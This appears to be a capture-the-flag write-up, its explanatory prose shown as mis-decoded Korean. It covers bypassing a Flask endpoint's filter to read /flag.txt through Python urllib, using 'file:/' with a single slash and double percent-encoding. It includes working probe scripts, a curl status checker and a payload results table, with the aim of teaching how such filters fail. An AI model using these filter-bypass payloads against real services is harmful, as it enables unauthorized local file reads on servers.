๊ทธ๋Ÿฌ๋ฉด flag๋ผ๋Š” ๊ธ€์ž๋ฅผ ์•ˆ ์“ฐ๋ฉด์„œ /flag.txt๋ฅผ ๊ฐ€๋ฆฌ์ผœ์•ผ ํ•œ๋‹ค. ํ›„๋ณด๋Š” ๋‘ ๊ฐˆ๋ž˜์˜€๋‹ค.

  • ๊ฒฝ๋กœ ํŠธ๋ฆญ: /etc/../flag.txt โ€” flag๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚จ์œผ๋‹ˆ ์ด๊ฒƒ๋งŒ์œผ๋กœ๋Š” ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.
  • ์ธ์ฝ”๋”ฉ: /fl%61g.txt โ€” %61์€ a์˜ ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์ด๋‹ค.

๋‘ ๋ฒˆ์งธ๊ฐ€ ๋งž๋Š” ๋ฐฉํ–ฅ์ด์—ˆ๋‹ค. ๋‹ค๋งŒ ๊ฒน์ˆ˜๋ฅผ ๋งž์ถ”๋Š” ๋ฐ์„œ ํ•œ ๋ฒˆ ๋” ๊ฑธ๋ฆฐ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 3 โ€” ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋˜๋˜ ๊ฐ’์ด ์Šคํฌ๋ฆฝํŠธ์—์„œ๋Š” ๋ง‰ํžŒ๋‹ค

%61์„ ํ•œ ๊ฒน๋งŒ ์จ์„œ ?url=file:/fl%61g.txt๋กœ ๋ณด๋‚ด๋ฉด ๋ง‰ํžŒ๋‹ค. ์ด์œ ๋Š” ์ˆœ์„œ๋‹ค.

request.args.get('url')์ด ๋Œ๋ ค์ฃผ๋Š” ๊ฐ’์€ ์ด๋ฏธ ํผ์„ผํŠธ๋””์ฝ”๋”ฉ์ด ๋๋‚œ ๋ฌธ์ž์—ด์ด๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ %61์ด๋ผ๊ณ  ๋ณด๋‚ด๋ฉด ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’์€ file:/flag.txt๊ฐ€ ๋˜์–ด ์žˆ๋‹ค. ํ”ผํ•˜๋ ค๋˜ ๊ทธ ๋ฌธ์ž์—ด๋กœ ๋˜๋Œ์•„๊ฐ„ ๊ฒƒ์ด๋‹ค. %๋ฅผ ๋‹ค์‹œ %25๋กœ ๊ฐ์‹ธ %2561๋กœ ๋ณด๋‚ด์•ผ 1์ฐจ ๋””์ฝ”๋”ฉ ํ›„์— %61์ด ๋‚จ๋Š”๋‹ค.

์—ฌ๊ธฐ์„œ ์‹ค์ œ๋กœ ๊ฑธ๋ฆฐ ์ง€์ ์€ ๋”ฐ๋กœ ์žˆ์—ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๋กœ ํ™•์ •ํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ธŒ๋ผ์šฐ์ € ์บก์ณ์šฉ์œผ๋กœ ํผ์— ์˜ฎ๊ฒจ ์ ์„ ๋•Œ, ํ•œ ๊ฒน๋งŒ ์จ๋„ ํ†ต๊ณผํ•ด์„œ ์•ž์˜ ๊ฒฐ๋ก ๊ณผ ์–ด๊ธ‹๋‚ฌ๋‹ค. ์ธต์ˆ˜๋ฅผ ์žฌ ๋ดค๋‹ค.

์›์ธ์€ ๋ธŒ๋ผ์šฐ์ €์˜€๋‹ค. ํผ ๊ฐ’์„ ์ „์†กํ•  ๋•Œ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ %๊นŒ์ง€ %25๋กœ ์ธ์ฝ”๋”ฉํ•˜๋ฏ€๋กœ, ์‚ฌ๋žŒ์ด ํ•œ ๊ฒน๋งŒ ์จ๋„ ์„œ๋ฒ„์—๋Š” ๋‘ ๊ฒน์œผ๋กœ ๋„์ฐฉํ•œ๋‹ค.

#!/usr/bin/env python3
"""๋ธŒ๋ผ์šฐ์ € ํผ(GET) ๊ฒฝ์œ ์™€ raw URL ์งํƒ€์˜ ์ธ์ฝ”๋”ฉ ์ธต์ˆ˜ ์ฐจ์ด๋ฅผ ๋กœ์ปฌ ์žฌํ˜„์œผ๋กœ ํ™•์ธ."""
import urllib.parse, urllib.request
 
BASE = "http://127.0.0.1:8552"
 
 
def hit(query: str) -> str:
    url = f"{BASE}/request?{query}&title=probe"
    body = urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")
    return "ํ†ต๊ณผ โ†’ urlopen ์‹คํ–‰" if "data:image" in body else "์ฐจ๋‹จ โ†’ request.html"
 
 
TYPED = "file:/fl%61g.txt"   # ์‚ฌ๋žŒ์ด ํผ ์ž…๋ ฅ์นธ์— ํƒ€์ดํ•‘ํ•˜๋Š” ๊ฐ’ (ํ•œ ๋ฒˆ๋งŒ ์ธ์ฝ”๋”ฉ)
 
# โ‘  ๋ธŒ๋ผ์šฐ์ € ํผ submit: ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๊ฐ’ ์ „์ฒด๋ฅผ percent-encode ํ•œ๋‹ค
form = urllib.parse.urlencode({"url": TYPED})
print(f"[ํผ submit]  ์ž…๋ ฅ์นธ: {TYPED}")
print(f"             ์ „์†ก๊ฐ’: {form}")
print(f"             ๊ฒฐ๊ณผ  : {hit(form)}")
print()
 
# โ‘ก raw URL ์งํƒ€: ์ธ์ฝ”๋”ฉ ์—†์ด ๊ทธ๋Œ€๋กœ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์— ๋ฐ•๋Š”๋‹ค
print(f"[raw ์งํƒ€]   ์ „์†ก๊ฐ’: url={TYPED}")
print(f"             ๊ฒฐ๊ณผ  : {hit('url=' + TYPED)}")
print()
 
# โ‘ข raw URL ์ด์ค‘์ธ์ฝ”๋”ฉ
DOUBLE = "file:/fl%2561g.txt"
print(f"[raw ์ด์ค‘]   ์ „์†ก๊ฐ’: url={DOUBLE}")
print(f"             ๊ฒฐ๊ณผ  : {hit('url=' + DOUBLE)}")

probe_encoding_layer.py ์‹คํ–‰ ๊ฒฐ๊ณผ. ํผ ๊ฒฝ์œ ๋Š” ์ „์†ก๊ฐ’์ด ์ž๋™์œผ๋กœ ๋‘ ๊ฒน์ด ๋˜์–ด ํ†ต๊ณผํ•˜๊ณ , raw ์งํƒ€๋Š” ํ•œ ๊ฒน์ด๋ผ ์ฐจ๋‹จ, ์ง์ ‘ ๋‘ ๊ฒน์œผ๋กœ ๋งŒ๋“ค๋ฉด ํ†ต๊ณผํ•œ๋‹ค.
probe_encoding_layer.py ์‹คํ–‰ ๊ฒฐ๊ณผ. ํผ ๊ฒฝ์œ ๋Š” ์ „์†ก๊ฐ’์ด ์ž๋™์œผ๋กœ ๋‘ ๊ฒน์ด ๋˜์–ด ํ†ต๊ณผํ•˜๊ณ , raw ์งํƒ€๋Š” ํ•œ ๊ฒน์ด๋ผ ์ฐจ๋‹จ, ์ง์ ‘ ๋‘ ๊ฒน์œผ๋กœ ๋งŒ๋“ค๋ฉด ํ†ต๊ณผํ•œ๋‹ค.

์ „์†ก๊ฐ’ ์นธ์„ ๋ณด๋ฉด ๋‹ต์ด ๋‚˜์˜จ๋‹ค. ํผ์œผ๋กœ ๋ณด๋‚ธ ๊ฐ’์€ url=file%3A%2Ffl%2561g.txt๋‹ค. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ :์™€ /๋ฟ ์•„๋‹ˆ๋ผ %๊นŒ์ง€ ์ธ์ฝ”๋”ฉํ–ˆ๋‹ค. ์†์œผ๋กœ ์กฐ๋ฆฝํ•  ๋•Œ๋Š” ๊ทธ ๋ชซ์„ ๋‚ด๊ฐ€ ํ•ด์•ผ ํ•œ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด๊ณผ open์ด ๋ฐ›๋Š” ๊ฒฝ๋กœ๊ฐ€ ๋‹ค๋ฅด๋‹ค

์ •๋ฆฌํ•˜๋ฉด ์šฐํšŒ๋Š” ๋‘ ์ถ•์ด๊ณ , ๊ฐ๊ฐ ๊ทผ๊ฑฐ๊ฐ€ ๋‹ค๋ฅธ ๊ณณ์— ์žˆ๋‹ค.

์ถ• 1 โ€” file:/๊ฐ€ ์™œ ํ†ตํ•˜๋Š”๊ฐ€. Request ๊ฐ์ฒด๊ฐ€ URL์„ ์ชผ๊ฐค ๋•Œ _splithost๋Š” //๋กœ ์‹œ์ž‘ํ•˜์ง€ ์•Š์œผ๋ฉด host๋ฅผ ์žก์ง€ ์•Š๊ณ  ์ „์ฒด๋ฅผ selector๋กœ ๋„˜๊ธด๋‹ค. ๊ทธ๋ฆฌ๊ณ  FileHandler.file_open์€ selector๊ฐ€ //๋กœ ์‹œ์ž‘ํ•  ๋•Œ๋งŒ ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ๋ฅผ ํ•˜๊ณ , ์•„๋‹ˆ๋ฉด ๊ณง๋ฐ”๋กœ open_local_file๋กœ ๊ฐ„๋‹ค.

์ถ• 2 โ€” %61์ด ์™œ ํ’€๋ฆฌ๋Š”๊ฐ€. open_local_file์€ selector๋ฅผ ๊ทธ๋Œ€๋กœ ์—ด์ง€ ์•Š๊ณ  url2pathname()์„ ๊ฑฐ์นœ๋‹ค. posix ๊ตฌํ˜„์€ ์‚ฌ์‹ค์ƒ unquote ํ•œ ์ค„์ด๋‹ค.

๋ง๋กœ๋งŒ ํ•˜๋ฉด ๋„˜๊ฒจ์งš์€ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋‹ˆ, ๋ฌธ์ œ์™€ ๊ฐ™์€ 3.10 ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ง์ ‘ ๋œฏ์–ด ํ™•์ธํ–ˆ๋‹ค.

#!/usr/bin/env python3
"""urlopen ์ด ์™œ `file:/` ํ•œ ์Šฌ๋ž˜์‹œ๋ฅผ ๋ฐ›์•„์ฃผ๊ณ  ์™œ %61 ์„ ํ’€์–ด์ฃผ๋Š”์ง€ ๋Ÿฐํƒ€์ž„์œผ๋กœ ํ™•์ธ."""
from urllib.request import Request, url2pathname, urlopen
import urllib.request
import inspect
import os
 
print("=== 1. Request ํŒŒ์‹ฑ: host / selector ===")
for full in ("file:///flag.txt", "file:/flag.txt", "file:/fl%61g.txt"):
    r = Request(full)
    print(f"  {full:22} type={r.type:5} host={r.host!r:8} selector={r.selector!r}")
 
print()
print("=== 2. FileHandler.file_open ์˜ ๋ถ„๊ธฐ ์กฐ๊ฑด ===")
src = inspect.getsource(urllib.request.FileHandler.file_open)
print("".join("  " + l for l in src.splitlines(keepends=True)))
 
print("=== 3. url2pathname (posix) ๊ตฌํ˜„ ===")
for line in inspect.getsource(url2pathname).splitlines():
    print("  " + line)
print()
print("=== 3-b. url2pathname ์ ์šฉ ๊ฒฐ๊ณผ ===")
for sel in ("/flag.txt", "/fl%61g.txt", "/fl%2561g.txt"):
    print(f"  {sel:16} -> {url2pathname(sel)!r}")
 
print()
print("=== 4. ๊ทธ๋ž˜์„œ ์‹ค์ œ๋กœ ์—ด๋ฆฌ๋Š”๊ฐ€ ===")
os.makedirs("/tmp/dg", exist_ok=True)
open("/tmp/dg/flag.txt", "w").write("PROBE_FLAG_CONTENT\n")
for u in ("file:/tmp/dg/flag.txt", "file:/tmp/dg/fl%61g.txt"):
    try:
        print(f"  {u:28} -> {urlopen(u).read()!r}")
    except Exception as e:
        print(f"  {u:28} -> {type(e).__name__}: {e}")
docker cp probe_urllib.py dream-gallery-local:/tmp/ && \
  docker exec dream-gallery-local python3 /tmp/probe_urllib.py

๋ฌธ์ œ์™€ ๊ฐ™์€ Python 3.10 ์ปจํ…Œ์ด๋„ˆ์—์„œ probe_urllib.py๋ฅผ ์‹คํ–‰ํ•œ ํ™”๋ฉด. Request ํŒŒ์‹ฑ ๊ฒฐ๊ณผ, inspect๋กœ ๋ฝ‘์€ file_open๊ณผ url2pathname์˜ ์‹ค์ œ ์†Œ์Šค, ๊ทธ๋ฆฌ๊ณ  ์‹คํŒŒ์ผ ์ฝ๊ธฐ ๊ฒฐ๊ณผ๊ฐ€ ์ฐจ๋ก€๋กœ ๋ณด์ธ๋‹ค.
๋ฌธ์ œ์™€ ๊ฐ™์€ Python 3.10 ์ปจํ…Œ์ด๋„ˆ์—์„œ probe_urllib.py๋ฅผ ์‹คํ–‰ํ•œ ํ™”๋ฉด. Request ํŒŒ์‹ฑ ๊ฒฐ๊ณผ, inspect๋กœ ๋ฝ‘์€ file_open๊ณผ url2pathname์˜ ์‹ค์ œ ์†Œ์Šค, ๊ทธ๋ฆฌ๊ณ  ์‹คํŒŒ์ผ ์ฝ๊ธฐ ๊ฒฐ๊ณผ๊ฐ€ ์ฐจ๋ก€๋กœ ๋ณด์ธ๋‹ค.

์ฝ์„ ๊ณณ์€ ๋„ค ๊ตฐ๋ฐ๋‹ค.

  • 1๋ฒˆ ๋ธ”๋ก: file:///flag.txt๋Š” host='', file:/flag.txt๋Š” host=None์ธ๋ฐ selector๋Š” ๋‘˜ ๋‹ค /flag.txt๋กœ ๊ฐ™๋‹ค. ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜ ์ฐจ์ด๋Š” ํŒŒ์ผ ๊ฒฝ๋กœ์— ์•„๋ฌด ์˜ํ–ฅ์ด ์—†๋‹ค.
  • 2๋ฒˆ ๋ธ”๋ก: inspect.getsource๋กœ ๋ฝ‘์•„๋‚ธ ์‹ค์ œ file_open ๋ณธ๋ฌธ์ด๋‹ค. ์กฐ๊ฑด์ด url[:2] == '//'๋‹ˆ๊นŒ selector๊ฐ€ /flag.txt์ธ ์šฐ๋ฆฌ ์š”์ฒญ์€ else๋กœ ๋น ์ ธ open_local_file(req)๋กœ ์งํ–‰ํ•œ๋‹ค. ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ ์ž์ฒด๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.
  • 3๋ฒˆ ๋ธ”๋ก: url2pathname์˜ ๋ชธํ†ต์ด return unquote(pathname) ํ•œ ์ค„์ด๋‹ค.
  • 3-b ๋ธ”๋ก: ๊ทธ๋ž˜์„œ /fl%61g.txt๊ฐ€ /flag.txt๋กœ ๋ฐ”๋€๋‹ค. ํ•œ ๊ฒน ๋” ๊ฐ์‹ผ /fl%2561g.txt๋Š” /fl%61g.txt๊นŒ์ง€๋งŒ ํ’€๋ฆฐ๋‹ค โ€” ๋””์ฝ”๋”ฉ์€ ์ธต๋งˆ๋‹ค ํ•œ ๋ฒˆ์”ฉ์ด๋‹ค.
  • 4๋ฒˆ ๋ธ”๋ก: ๋”๋ฏธ ํŒŒ์ผ๋กœ ์‹ค์ œ๋กœ ์—ด์–ด ๋ณธ ๊ฒฐ๊ณผ. ๋‘ ํ˜•ํƒœ ๋ชจ๋‘ ๊ฐ™์€ ๋‚ด์šฉ์„ ์ฝ์–ด ์˜จ๋‹ค.

์ด ๋„ค ๊ฐ€์ง€๋ฅผ ํ•˜๋‚˜๋กœ ์ด์œผ๋ฉด ๊ทธ๋ฆผ์ด ๋œ๋‹ค.

ํผ์„ผํŠธ๋””์ฝ”๋”ฉ์ด ๋‘ ๋ฒˆ ์ผ์–ด๋‚˜๋Š” ๊ฒฝ๋กœ. ๋ณด๋‚ธ ๊ฐ’์€ ์„ธ ๊ฒน์ด๊ณ  Flask๊ฐ€ ํ•œ ๊ฒน์„ ํ’€์–ด ํ•„ํ„ฐ์— ๋„˜๊ธฐ๋ฉฐ, ํ†ต๊ณผ ํ›„ url2pathname์ด ๋‚จ์€ ํ•œ ๊ฒน์„ ํ’€์–ด slash flag.txt๋กœ ์—ด๋ฆฐ๋‹ค.
ํผ์„ผํŠธ๋””์ฝ”๋”ฉ์ด ๋‘ ๋ฒˆ ์ผ์–ด๋‚˜๋Š” ๊ฒฝ๋กœ. ๋ณด๋‚ธ ๊ฐ’์€ ์„ธ ๊ฒน์ด๊ณ  Flask๊ฐ€ ํ•œ ๊ฒน์„ ํ’€์–ด ํ•„ํ„ฐ์— ๋„˜๊ธฐ๋ฉฐ, ํ†ต๊ณผ ํ›„ url2pathname์ด ๋‚จ์€ ํ•œ ๊ฒน์„ ํ’€์–ด slash flag.txt๋กœ ์—ด๋ฆฐ๋‹ค.

ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฌธ์ž์—ด์€ โ‘ก๋ฒˆ ์ค„์ด๊ณ , open์ด ๋ฐ›๋Š” ๊ฒฝ๋กœ๋Š” โ‘ฃ๋ฒˆ ์ค„์ด๋‹ค. ๊ทธ ์‚ฌ์ด์— ๋””์ฝ”๋”ฉ์ด ํ•œ ๋ฒˆ ๋” ์žˆ์œผ๋‹ˆ, ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ๋กœ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ๋ง‰๊ฒ ๋‹ค๋Š” ๋ฐœ์ƒ์ด ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค.

์ „์ˆ˜ ํ™•์ธ โ€” ์–ด๋А ์กฐํ•ฉ์ด ํ†ต๊ณผํ•˜๋Š”๊ฐ€

๊ฐ€์„ค์„ ์„ธ์šด ๋’ค์—๋Š” ์กฐํ•ฉ์„ ํ•œ๊บผ๋ฒˆ์— ๋Œ๋ ค ํ‘œ๋กœ ๋งŒ๋“ค์—ˆ๋‹ค. ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ๋ผ ๋งˆ์Œ๊ป ๋‘๋“œ๋ ค๋„ ๋œ๋‹ค.

#!/usr/bin/env python3
"""Dream Gallery โ€” /request ํ•„ํ„ฐ๊ฐ€ ๋ฌด์—‡์„ ๋ง‰๊ณ  ๋ฌด์—‡์„ ํ†ต๊ณผ์‹œํ‚ค๋Š”์ง€ ๋กœ์ปฌ ์žฌํ˜„์œผ๋กœ ์ „์ˆ˜ ํ™•์ธ."""
import urllib.request, urllib.error
 
BASE = "http://127.0.0.1:8552"
 
# (๋ผ๋ฒจ, url ํŒŒ๋ผ๋ฏธํ„ฐ์— ๊ทธ๋Œ€๋กœ ์‹ค์–ด๋ณด๋‚ผ raw ๋ฌธ์ž์—ด)
CASES = [
    ("file:// 3์Šฌ๋ž˜์‹œ (์ •๊ณต๋ฒ•)",      "file:///flag.txt"),
    ("file:// + ์ธ์ฝ”๋”ฉ",              "file:///fl%2561g.txt"),
    ("file:/ 1์Šฌ๋ž˜์‹œ + ํ‰๋ฌธ flag",    "file:/flag.txt"),
    ("file:/ 1์Šฌ๋ž˜์‹œ + %61 (1์ค‘)",    "file:/fl%61g.txt"),
    ("file:/ 1์Šฌ๋ž˜์‹œ + %2561 (2์ค‘)",  "file:/fl%2561g.txt"),
    ("file:/ + ๊ฒฝ๋กœ์šฐํšŒ ../",         "file:/etc/../fl%2561g.txt"),
]
 
for label, raw in CASES:
    url = f"{BASE}/request?url={raw}&title=probe"
    try:
        r = urllib.request.urlopen(url, timeout=10)
        body = r.read().decode("utf-8", "replace")
        # ์„ฑ๊ณตํ•˜๋ฉด /view ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋˜์–ด ๊ฐค๋Ÿฌ๋ฆฌ HTML(<img src="data:) ์ด ์˜จ๋‹ค.
        ok = "data:image" in body
        print(f"{'ํ†ต๊ณผ โ†’ urlopen ์‹คํ–‰' if ok else '์ฐจ๋‹จ โ†’ request.html':22} | {label:28} | {raw}")
    except urllib.error.HTTPError as e:
        print(f"{'HTTP '+str(e.code):22} | {label:28} | {raw}")

probe_filter.py ์ „์ˆ˜ ํ™•์ธ ๊ฒฐ๊ณผ. ์—ฌ์„ฏ ์กฐํ•ฉ ์ค‘ ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜์— ์ด์ค‘ ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์„ ์–น์€ ๋‘ ๊ฒฝ์šฐ๋งŒ ํ†ต๊ณผํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ๋ชจ๋‘ ์ฐจ๋‹จ๋œ๋‹ค.
probe_filter.py ์ „์ˆ˜ ํ™•์ธ ๊ฒฐ๊ณผ. ์—ฌ์„ฏ ์กฐํ•ฉ ์ค‘ ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜์— ์ด์ค‘ ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์„ ์–น์€ ๋‘ ๊ฒฝ์šฐ๋งŒ ํ†ต๊ณผํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ๋ชจ๋‘ ์ฐจ๋‹จ๋œ๋‹ค.

์—ฌ์„ฏ ์ค„์ด ๋”ฑ ๊ฐˆ๋ฆฐ๋‹ค.

๋ณด๋‚ธ ๊ฐ’๊ฒฐ๊ณผ๊ฑธ๋ฆฐ ์กฐ๊ฑด
file:///flag.txt์ฐจ๋‹จ์ ‘๋‘์–ด + flag ๋‘˜ ๋‹ค
file:///fl%2561g.txt์ฐจ๋‹จ์ ‘๋‘์–ด
file:/flag.txt์ฐจ๋‹จflag
file:/fl%61g.txt์ฐจ๋‹จ1์ฐจ ๋””์ฝ”๋”ฉ์œผ๋กœ flag ๋ถ€ํ™œ
file:/fl%2561g.txtํ†ต๊ณผโ€”
file:/etc/../fl%2561g.txtํ†ต๊ณผโ€”

๋งˆ์ง€๋ง‰ ์ค„์€ ๊ณ๊ฐ€์ง€์ง€๋งŒ ๋„ฃ์–ด ๋’€๋‹ค. ๊ฒฝ๋กœ ํŠธ๋ฆญ๋„ ์ธ์ฝ”๋”ฉ๊ณผ ๊ฐ™์ด ์“ฐ๋ฉด ํ†ตํ•œ๋‹ค๋Š” ๋œป์ด๋ผ, ์ด ํ•„ํ„ฐ๊ฐ€ ๋ง‰๊ณ  ์žˆ๋Š” ๊ฒŒ ์‚ฌ์‹ค์ƒ ์•„๋ฌด๊ฒƒ๋„ ์—†์Œ์„ ๋ณด์—ฌ ์ค€๋‹ค.

์„ฑ๊ณตยท์‹คํŒจ ํŒ์ • ๋งˆ์ปค

except: ๋•Œ๋ฌธ์— ํ™”๋ฉด๋งŒ ๋ณด๋ฉด ํ—ท๊ฐˆ๋ฆฌ๋‹ˆ, HTTP ์ƒํƒœ์ค„๋กœ ํŒ์ •ํ•˜๋Š” ํŽธ์ด ํ™•์‹คํ•˜๋‹ค.

#!/usr/bin/env bash
# ํ•„ํ„ฐ์— ๊ฑธ๋ ธ๋Š”์ง€ ํ†ต๊ณผํ–ˆ๋Š”์ง€๋Š” HTTP ์ƒํƒœ์ค„๋งŒ ๋ด๋„ ๊ฐˆ๋ฆฐ๋‹ค.
# ๊ฑธ๋ฆฌ๋ฉด render_template โ†’ 200, ํ†ต๊ณผํ•˜๋ฉด redirect(url_for('view')) โ†’ 302.
# ์ธ์ž๋กœ ๋Œ€์ƒ ์ฃผ์†Œ๋ฅผ ์ค€๋‹ค. ๊ธฐ๋ณธ์€ ๋กœ์ปฌ ์žฌํ˜„.
BASE="${1:-http://127.0.0.1:8552}"
 
probe() {
  printf '%-24s ' "$1"
  curl -s -o /dev/null -D - "$BASE/request?url=$2&title=probe" 2>/dev/null \
    | sed -n '1p;/^[Ll]ocation:/p' | tr -d '\r' | paste -sd' '
}
 
probe 'file:///flag.txt'      'file:///flag.txt'
probe 'file:/flag.txt'        'file:/flag.txt'
probe 'file:/fl%61g.txt'      'file:/fl%61g.txt'
probe 'file:/fl%2561g.txt'    'file:/fl%2561g.txt'

probe_status.sh๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ์•ž์˜ ์„ธ ํ˜•ํƒœ๋Š” 200 OK๋กœ ๋˜๋Œ์•„์˜ค๊ณ  ์ด์ค‘ ์ธ์ฝ”๋”ฉ๋งŒ 302 FOUND์™€ Location ํ—ค๋”๋ฅผ ๋‚จ๊ธด๋‹ค.
probe_status.sh๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ์•ž์˜ ์„ธ ํ˜•ํƒœ๋Š” 200 OK๋กœ ๋˜๋Œ์•„์˜ค๊ณ  ์ด์ค‘ ์ธ์ฝ”๋”ฉ๋งŒ 302 FOUND์™€ Location ํ—ค๋”๋ฅผ ๋‚จ๊ธด๋‹ค.

์ƒํƒœ์ค„์˜๋ฏธ๋‹ค์Œ ํ–‰๋™
200 OKํ•„ํ„ฐ์— ๊ฑธ๋ ค request.html ๋ฐ˜ํ™˜ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค์‹œ ๋ณธ๋‹ค
302 FOUND + Location: /viewํ†ต๊ณผ, urlopen๊นŒ์ง€ ์‹คํ–‰๋จ/view์—์„œ ํ•ญ๋ชฉ์„ ์ฐพ๋Š”๋‹ค
302์ธ๋ฐ /view์— ํ•ญ๋ชฉ์ด ์—†์Œํ†ต๊ณผํ–ˆ์ง€๋งŒ urlopen์ด ์˜ˆ์™ธ๊ฒฝ๋กœ ์˜คํƒ€๋‚˜ ๊ถŒํ•œ ๋ฌธ์ œ

์„ธ ๋ฒˆ์งธ ์ค„์ด ์‹ค์ œ๋กœ ๋„์›€์ด ๋๋‹ค. except:๊ฐ€ ์˜ˆ์™ธ๋ฅผ ์‚ผํ‚ค๋Š” ๋ฌธ์ œ๋ผ์„œ "302๊ฐ€ ๋–ด๋Š”๋ฐ ๊ฒฐ๊ณผ๊ฐ€ ์—†๋‹ค"๋Š” ์ƒํ™ฉ์„ ๋”ฐ๋กœ ๊ตฌ๋ถ„ํ•ด ๋‘ฌ์•ผ ์›์ธ์„ ์ขํž ์ˆ˜ ์žˆ๋‹ค.



๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ๋ธŒ๋ผ์šฐ์ €์—์„œ ์†์œผ๋กœ

๋กœ์ปฌ์—์„œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ™•์ •ํ•œ ๋’ค ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋ฅผ ์ผฐ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๋กœ ํ•œ ๋ฐฉ์— ๋๋‚˜๊ธฐ๋Š” ํ•˜์ง€๋งŒ, ์‚ฌ๋žŒ์ด ๋ธŒ๋ผ์šฐ์ €์—์„œ ์–ด๋–ป๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ธ์ง€๋„ ๊ฐ™์ด ๋‚จ๊ฒจ ๋‘”๋‹ค. ํผ์œผ๋กœ ๋ณด๋‚ผ ๋•Œ๋Š” ์•ž์—์„œ ํ™•์ธํ•œ ๋Œ€๋กœ ํ•œ ๊ฒน๋งŒ ์“ด๋‹ค. ๋‚˜๋จธ์ง€ ํ•œ ๊ฒน์€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ถ™์—ฌ ์ค€๋‹ค.

๋ผ์ด๋ธŒ ํผ์˜ URL ์นธ์— file:/fl%61g.txt๋ฅผ, ์ œ๋ชฉ ์นธ์— flag.txt๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์ „์†ก ์ง์ „ ์ƒํƒœ.
๋ผ์ด๋ธŒ ํผ์˜ URL ์นธ์— file:/fl%61g.txt๋ฅผ, ์ œ๋ชฉ ์นธ์— flag.txt๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์ „์†ก ์ง์ „ ์ƒํƒœ.

์š”์ฒญ ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋ฉด ์ด๋ฒˆ์—๋Š” ํผ์œผ๋กœ ๋˜๋Œ์•„์˜ค์ง€ ์•Š๊ณ  /view๋กœ ๋„˜์–ด๊ฐ„๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ฐค๋Ÿฌ๋ฆฌ ๋์— flag.txt๋ผ๋Š” ์ œ๋ชฉ์˜ ํ•ญ๋ชฉ์ด ํ•˜๋‚˜ ์ƒ๊ธด๋‹ค. ๊ทธ๋ฆผ ์ž๋ฆฌ๋Š” ๊นจ์ง„ ์•„์ด์ฝ˜์ด๋‹ค. PNG๊ฐ€ ์•„๋‹ˆ๋ผ ํ…์ŠคํŠธ๋‹ˆ๊นŒ ๋‹น์—ฐํ•˜๋‹ค.

์šฐํšŒ ์„ฑ๊ณต ํ›„ ๊ฐค๋Ÿฌ๋ฆฌ ๋ทฐ์–ด. ์„ ๊ธ€๋ผ์Šค ๋„ท ์‚ฌ์ด์— flag.txt ์ œ๋ชฉ์˜ ํ•ญ๋ชฉ์ด ์ƒˆ๋กœ ์ƒ๊ฒผ๊ณ  ์ด๋ฏธ์ง€ ์ž๋ฆฌ๋Š” ๊นจ์ง„ ์•„์ด์ฝ˜์œผ๋กœ ํ‘œ์‹œ๋œ๋‹ค.
์šฐํšŒ ์„ฑ๊ณต ํ›„ ๊ฐค๋Ÿฌ๋ฆฌ ๋ทฐ์–ด. ์„ ๊ธ€๋ผ์Šค ๋„ท ์‚ฌ์ด์— flag.txt ์ œ๋ชฉ์˜ ํ•ญ๋ชฉ์ด ์ƒˆ๋กœ ์ƒ๊ฒผ๊ณ  ์ด๋ฏธ์ง€ ์ž๋ฆฌ๋Š” ๊นจ์ง„ ์•„์ด์ฝ˜์œผ๋กœ ํ‘œ์‹œ๋œ๋‹ค.

